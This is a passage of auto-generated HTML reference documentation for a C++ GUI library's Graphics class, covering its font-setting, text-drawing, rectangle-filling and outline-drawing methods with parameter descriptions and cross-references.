title="Sets the context to use a gradient for its fill pattern.">setGradientFill</a>, <a class="el" href="classGraphics.html#a675cd4c4715165f0a0aec0bd8c3fe390" title="Sets the context to use a tiled image pattern for filling.">setTiledImageFill</a> </dd></dl> </div> </div> <a class="anchor" id="a1fbdb321975d90c45243027a61ac2be9"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::setFont </td> <td>(</td> <td class="paramtype">const <a class="el" href="classFont.html">Font</a> &amp;&#160;</td> <td class="paramname"><em>newFont</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Changes the font to use for subsequent text-drawing functions. </p> <p>Note there's also a setFont (float, int) method to quickly change the size and style of the current font.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a26aeb5bf3f4b96e2734e89f0833dd074" title="Draws a one-line text string.">drawSingleLineText</a>, <a class="el" href="classGraphics.html#a37c017a9d2f32bcd677f61f5de97ab9a" title="Draws text across multiple lines.">drawMultiLineText</a>, <a class="el" href="classGraphics.html#a6a2beaa33dfc054153510789338d5ba9" title="Draws a line of text within a specified rectangle.">drawText</a>, <a class="el" href="classGraphics.html#ae8e28ce4b7d0c63f0cd1f4e38dfc7151" title="Tries to draw a text string inside a given space.">drawFittedText</a> </dd></dl> </div> </div> <a class="anchor" id="a8c9a73240eab843cbf93393956910e72"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::setFont </td> <td>(</td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>newFontHeight</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Changes the size of the currently-selected font. </p> <p>This is a convenient shortcut that changes the context's current font to a different size. The typeface won't be changed. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classFont.html" title="Represents a particular font, including its size, style, etc.">Font</a> </dd></dl> </div> </div> <a class="anchor" id="abb972f0d801630b6e02d335cfa9da28a"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classFont.html">Font</a> Graphics::getCurrentFont </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns the currently selected font. </p> </div> </div> <a class="anchor" id="a26aeb5bf3f4b96e2734e89f0833dd074"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawSingleLineText </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>text</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>startX</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>baselineY</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classJustification.html">Justification</a>&#160;</td> <td class="paramname"><em>justification</em> = <code><a class="el" href="classJustification.html#a1f8c07756c56fe8f31ed44964e51bfbca56156bb2892e32febf8011af9c5da653">Justification::left</a></code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a one-line text string. </p> <p>This will use the current colour (or brush) to fill the text. The font is the last one specified by <a class="el" href="classGraphics.html#a1fbdb321975d90c45243027a61ac2be9" title="Changes the font to use for subsequent text-drawing functions.">setFont()</a>.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">text</td><td>the string to draw </td></tr> <tr><td class="paramname">startX</td><td>the position to draw the left-hand edge of the text </td></tr> <tr><td class="paramname">baselineY</td><td>the position of the text's baseline </td></tr> <tr><td class="paramname">justification</td><td>the horizontal flags indicate which end of the text string is anchored at the specified point. </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a37c017a9d2f32bcd677f61f5de97ab9a" title="Draws text across multiple lines.">drawMultiLineText</a>, <a class="el" href="classGraphics.html#a6a2beaa33dfc054153510789338d5ba9" title="Draws a line of text within a specified rectangle.">drawText</a>, <a class="el" href="classGraphics.html#ae8e28ce4b7d0c63f0cd1f4e38dfc7151" title="Tries to draw a text string inside a given space.">drawFittedText</a>, <a class="el" href="classGlyphArrangement.html#a0ace103d7c4b6600dcea7aff1f26811d" title="Appends a line of text to the arrangement.">GlyphArrangement::addLineOfText</a> </dd></dl> </div> </div> <a class="anchor" id="a37c017a9d2f32bcd677f61f5de97ab9a"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawMultiLineText </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>text</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>startX</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>baselineY</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>maximumLineWidth</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws text across multiple lines. </p> <p>This will break the text onto a new line where there's a new-line or carriage-return character, or at a word-boundary when the text becomes wider than the size specified by the maximumLineWidth parameter.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a1fbdb321975d90c45243027a61ac2be9" title="Changes the font to use for subsequent text-drawing functions.">setFont</a>, <a class="el" href="classGraphics.html#a26aeb5bf3f4b96e2734e89f0833dd074" title="Draws a one-line text string.">drawSingleLineText</a>, <a class="el" href="classGraphics.html#ae8e28ce4b7d0c63f0cd1f4e38dfc7151" title="Tries to draw a text string inside a given space.">drawFittedText</a>, <a class="el" href="classGlyphArrangement.html#ada407e56eab976b046f880729411771f" title="Adds some multi-line text, breaking lines at word-boundaries if they are too wide.">GlyphArrangement::addJustifiedText</a> </dd></dl> </div> </div> <a class="anchor" id="a6a2beaa33dfc054153510789338d5ba9"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawText </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>text</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>x</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>y</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>width</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>height</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classJustification.html">Justification</a>&#160;</td> <td class="paramname"><em>justificationType</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>useEllipsesIfTooBig</em> = <code>true</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a line of text within a specified rectangle. </p> <p>The text will be positioned within the rectangle based on the justification flags passed-in. If the string is too long to fit inside the rectangle, it will either be truncated or will have ellipsis added to its end (if the useEllipsesIfTooBig flag is true).</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a26aeb5bf3f4b96e2734e89f0833dd074" title="Draws a one-line text string.">drawSingleLineText</a>, <a class="el" href="classGraphics.html#ae8e28ce4b7d0c63f0cd1f4e38dfc7151" title="Tries to draw a text string inside a given space.">drawFittedText</a>, <a class="el" href="classGraphics.html#a37c017a9d2f32bcd677f61f5de97ab9a" title="Draws text across multiple lines.">drawMultiLineText</a>, <a class="el" href="classGlyphArrangement.html#ada407e56eab976b046f880729411771f" title="Adds some multi-line text, breaking lines at word-boundaries if they are too wide.">GlyphArrangement::addJustifiedText</a> </dd></dl> </div> </div> <a class="anchor" id="a7cf3a37c54011ce2c27080fa7cde1204"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawText </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>text</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;&#160;</td> <td class="paramname"><em>area</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classJustification.html">Justification</a>&#160;</td> <td class="paramname"><em>justificationType</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>useEllipsesIfTooBig</em> = <code>true</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a line of text within a specified rectangle. </p> <p>The text will be positioned within the rectangle based on the justification flags passed-in. If the string is too long to fit inside the rectangle, it will either be truncated or will have ellipsis added to its end (if the useEllipsesIfTooBig flag is true).</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a26aeb5bf3f4b96e2734e89f0833dd074" title="Draws a one-line text string.">drawSingleLineText</a>, <a class="el" href="classGraphics.html#ae8e28ce4b7d0c63f0cd1f4e38dfc7151" title="Tries to draw a text string inside a given space.">drawFittedText</a>, <a class="el" href="classGraphics.html#a37c017a9d2f32bcd677f61f5de97ab9a" title="Draws text across multiple lines.">drawMultiLineText</a>, <a class="el" href="classGlyphArrangement.html#ada407e56eab976b046f880729411771f" title="Adds some multi-line text, breaking lines at word-boundaries if they are too wide.">GlyphArrangement::addJustifiedText</a> </dd></dl> </div> </div> <a class="anchor" id="acc0040942866ca43d64c4c0cef6d7bec"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawText </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>text</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt; &amp;&#160;</td> <td class="paramname"><em>area</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classJustification.html">Justification</a>&#160;</td> <td class="paramname"><em>justificationType</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>useEllipsesIfTooBig</em> = <code>true</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a line of text within a specified rectangle. </p> <p>The text will be positioned within the rectangle based on the justification flags passed-in. If the string is too long to fit inside the rectangle, it will either be truncated or will have ellipsis added to its end (if the useEllipsesIfTooBig flag is true).</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a26aeb5bf3f4b96e2734e89f0833dd074" title="Draws a one-line text string.">drawSingleLineText</a>, <a class="el" href="classGraphics.html#ae8e28ce4b7d0c63f0cd1f4e38dfc7151" title="Tries to draw a text string inside a given space.">drawFittedText</a>, <a class="el" href="classGraphics.html#a37c017a9d2f32bcd677f61f5de97ab9a" title="Draws text across multiple lines.">drawMultiLineText</a>, <a class="el" href="classGlyphArrangement.html#ada407e56eab976b046f880729411771f" title="Adds some multi-line text, breaking lines at word-boundaries if they are too wide.">GlyphArrangement::addJustifiedText</a> </dd></dl> </div> </div> <a class="anchor" id="ae8e28ce4b7d0c63f0cd1f4e38dfc7151"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawFittedText </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>text</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>x</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>y</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>width</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>height</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classJustification.html">Justification</a>&#160;</td> <td class="paramname"><em>justificationFlags</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>maximumNumberOfLines</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>minimumHorizontalScale</em> = <code>0.0f</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Tries to draw a text string inside a given space. </p> <p>This does its best to make the given text readable within the specified rectangle, so it useful for labelling things.</p> <p>If the text is too big, it'll be squashed horizontally or broken over multiple lines if the maximumLinesToUse value allows this. If the text just won't fit into the space, it'll cram as much as possible in there, and put some ellipsis at the end to show that it's been truncated.</p> <p>A <a class="el" href="classJustification.html" title="Represents a type of justification to be used when positioning graphical items.">Justification</a> parameter lets you specify how the text is laid out within the rectangle, both horizontally and vertically.</p> <p>The minimumHorizontalScale parameter specifies how much the text can be squashed horizontally to try to squeeze it into the space. If you don't want any horizontal scaling to occur, you can set this value to 1.0f. Pass 0 if you want it to use a default value.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGlyphArrangement.html#a96a7fd525bab5cc2330c1c4e9f13d6d5" title="Tries to fit some text withing a given space.">GlyphArrangement::addFittedText</a> </dd></dl> </div> </div> <a class="anchor" id="ab44bf3829e9357d5eb61ac8a9d06aec6"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawFittedText </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>text</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;&#160;</td> <td class="paramname"><em>area</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classJustification.html">Justification</a>&#160;</td> <td class="paramname"><em>justificationFlags</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>maximumNumberOfLines</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>minimumHorizontalScale</em> = <code>0.0f</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Tries to draw a text string inside a given space. </p> <p>This does its best to make the given text readable within the specified rectangle, so it useful for labelling things.</p> <p>If the text is too big, it'll be squashed horizontally or broken over multiple lines if the maximumLinesToUse value allows this. If the text just won't fit into the space, it'll cram as much as possible in there, and put some ellipsis at the end to show that it's been truncated.</p> <p>A <a class="el" href="classJustification.html" title="Represents a type of justification to be used when positioning graphical items.">Justification</a> parameter lets you specify how the text is laid out within the rectangle, both horizontally and vertically.</p> <p>The minimumHorizontalScale parameter specifies how much the text can be squashed horizontally to try to squeeze it into the space. If you don't want any horizontal scaling to occur, you can set this value to 1.0f. Pass 0 if you want it to use a default value.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGlyphArrangement.html#a96a7fd525bab5cc2330c1c4e9f13d6d5" title="Tries to fit some text withing a given space.">GlyphArrangement::addFittedText</a> </dd></dl> </div> </div> <a class="anchor" id="a516a7795e6e0c6c70eb982a83ea0b8c3"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillAll </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Fills the context's entire clip region with the current colour or brush. </p> <p>(See also the fillAll (<a class="el" href="classColour.html" title="Represents a colour, also including a transparency value.">Colour</a>) method which is a quick way of filling it with a given colour). </p> </div> </div> <a class="anchor" id="ac31f52c617f614ab85afa99319eb8110"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillAll </td> <td>(</td> <td class="paramtype"><a class="el" href="classColour.html">Colour</a>&#160;</td> <td class="paramname"><em>colourToUse</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Fills the context's entire clip region with a given colour. </p> <p>This leaves the context's current colour and brush unchanged, it just uses the specified colour temporarily. </p> </div> </div> <a class="anchor" id="a9ff78524c757a302ad8b9cbc4c7ba851"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillRect </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;&#160;</td> <td class="paramname"><em>rectangle</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Fills a rectangle with the current colour or brush. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a28baf90f8e11ec6f96c349f45e09a9d0" title="Draws a rectangular outline, using the current colour or brush.">drawRect</a>, <a class="el" href="classGraphics.html#a1049a2dae8a1ae3e5e57238f2fd36a84" title="Uses the current colour or brush to fill a rectangle with rounded corners.">fillRoundedRectangle</a> </dd></dl> </div> </div> <a class="anchor" id="ab4959b11dd0a06c18b8c496209568f0f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillRect </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt; &amp;&#160;</td> <td class="paramname"><em>rectangle</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Fills a rectangle with the current colour or brush. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a28baf90f8e11ec6f96c349f45e09a9d0" title="Draws a rectangular outline, using the current colour or brush.">drawRect</a>, <a class="el" href="classGraphics.html#a1049a2dae8a1ae3e5e57238f2fd36a84" title="Uses the current colour or brush to fill a rectangle with rounded corners.">fillRoundedRectangle</a> </dd></dl> </div> </div> <a class="anchor" id="ac2202ef993b53d77d8646ed4ce3ea9d1"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillRect </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>x</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>y</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>width</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>height</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Fills a rectangle with the current colour or brush. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a28baf90f8e11ec6f96c349f45e09a9d0" title="Draws a rectangular outline, using the current colour or brush.">drawRect</a>, <a class="el" href="classGraphics.html#a1049a2dae8a1ae3e5e57238f2fd36a84" title="Uses the current colour or brush to fill a rectangle with rounded corners.">fillRoundedRectangle</a> </dd></dl> </div> </div> <a class="anchor" id="a018bffc13a318cb5e59d29b258313b8b"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillRect </td> <td>(</td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>x</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>y</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>width</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>height</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Fills a rectangle with the current colour or brush. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a28baf90f8e11ec6f96c349f45e09a9d0" title="Draws a rectangular outline, using the current colour or brush.">drawRect</a>, <a class="el" href="classGraphics.html#a1049a2dae8a1ae3e5e57238f2fd36a84" title="Uses the current colour or brush to fill a rectangle with rounded corners.">fillRoundedRectangle</a> </dd></dl> </div> </div> <a class="anchor" id="a2aef23d8a0c15d4e44a43bf7f6bf3598"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillRectList </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangleList.html">RectangleList</a>&lt; float &gt; &amp;&#160;</td> <td class="paramname"><em>rectangles</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Fills a set of rectangles using the current colour or brush. </p> <p>If you have a lot of rectangles to draw, it may be more efficient to create a <a class="el" href="classRectangleList.html" title="Maintains a set of rectangles as a complex region.">RectangleList</a> and use this method than to call <a class="el" href="classGraphics.html#a9ff78524c757a302ad8b9cbc4c7ba851" title="Fills a rectangle with the current colour or brush.">fillRect()</a> multiple times. </p> </div> </div> <a class="anchor" id="a25b0360ba453ab7f8d952a4b31a9fcd4"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillRectList </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangleList.html">RectangleList</a>&lt; int &gt; &amp;&#160;</td> <td class="paramname"><em>rectangles</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Fills a set of rectangles using the current colour or brush. </p> <p>If you have a lot of rectangles to draw, it may be more efficient to create a <a class="el" href="classRectangleList.html" title="Maintains a set of rectangles as a complex region.">RectangleList</a> and use this method than to call <a class="el" href="classGraphics.html#a9ff78524c757a302ad8b9cbc4c7ba851" title="Fills a rectangle with the current colour or brush.">fillRect()</a> multiple times. </p> </div> </div> <a class="anchor" id="a1049a2dae8a1ae3e5e57238f2fd36a84"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillRoundedRectangle </td> <td>(</td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>x</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>y</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>width</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>height</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>cornerSize</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Uses the current colour or brush to fill a rectangle with rounded corners. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a78541e36136eb040c4b8c81d4b8db8dd" title="Uses the current colour or brush to draw the outline of a rectangle with rounded corners.">drawRoundedRectangle</a>, <a class="el" href="classPath.html#a501f83b0e323fe86d33c047f83451065" title="Adds a rectangle with rounded corners to the path.">Path::addRoundedRectangle</a> </dd></dl> </div> </div> <a class="anchor" id="afc06f32c228086e55876184176314bd1"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillRoundedRectangle </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt; &amp;&#160;</td> <td class="paramname"><em>rectangle</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>cornerSize</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Uses the current colour or brush to fill a rectangle with rounded corners. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a78541e36136eb040c4b8c81d4b8db8dd" title="Uses the current colour or brush to draw the outline of a rectangle with rounded corners.">drawRoundedRectangle</a>, <a class="el" href="classPath.html#a501f83b0e323fe86d33c047f83451065" title="Adds a rectangle with rounded corners to the path.">Path::addRoundedRectangle</a> </dd></dl> </div> </div> <a class="anchor" id="ae4ef7fd9a41cd6f7186e0e6a2f9a9d8e"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillCheckerBoard </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;&#160;</td> <td class="paramname"><em>area</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>checkWidth</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>checkHeight</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classColour.html">Colour</a>&#160;</td> <td class="paramname"><em>colour1</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classColour.html">Colour</a>&#160;</td> <td class="paramname"><em>colour2</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Fills a rectangle with a checkerboard pattern, alternating between two colours. </p> </div> </div> <a class="anchor" id="a28baf90f8e11ec6f96c349f45e09a9d0"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawRect </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>x</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>y</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>width</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>height</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>lineThickness</em> = <code>1</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a rectangular outline, using the current colour or brush. </p> <p>The lines are drawn inside the given rectangle, and greater line thicknesses extend inwards. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a9ff78524c757a302ad8b9cbc4c7ba851" title="Fills a rectangle with the current colour or brush.">fillRect</a> </dd></dl> </div> </div> <a class="anchor" id="a7b8a15c73c5d797cd169852224236f4f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawRect </td> <td>(</td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>x</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>y</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>width</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>height</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>lineThickness</em> = <code>1.0f</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a rectangular outline, using the current colour or brush. </p> <p>The lines are drawn inside the given rectangle, and greater line thicknesses extend inwards. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a9ff78524c757a302ad8b9cbc4c7ba851" title="Fills a rectangle with the current colour or brush.">fillRect</a> </dd></dl> </div> </div> <a class="anchor" id="a88e7c28b48c3f2e9e2c9df7d2571908f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawRect </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;&#160;</td> <td class="paramname"><em>rectangle</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>lineThickness</em> = <code>1</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a rectangular outline, using the current colour or brush. </p> <p>The lines are drawn inside the given rectangle, and greater line thicknesses extend inwards. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a9ff78524c757a302ad8b9cbc4c7ba851" title="Fills a rectangle with the current colour or brush.">fillRect</a> </dd></dl> </div> </div> <a class="anchor" id="af9de9561eb82103354adaa6286ddd066"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawRect </td> <td>(</td> <td class="paramtype"><a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt;&#160;</td> <td class="paramname"><em>rectangle</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>lineThickness</em> = <code>1.0f</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a rectangular outline, 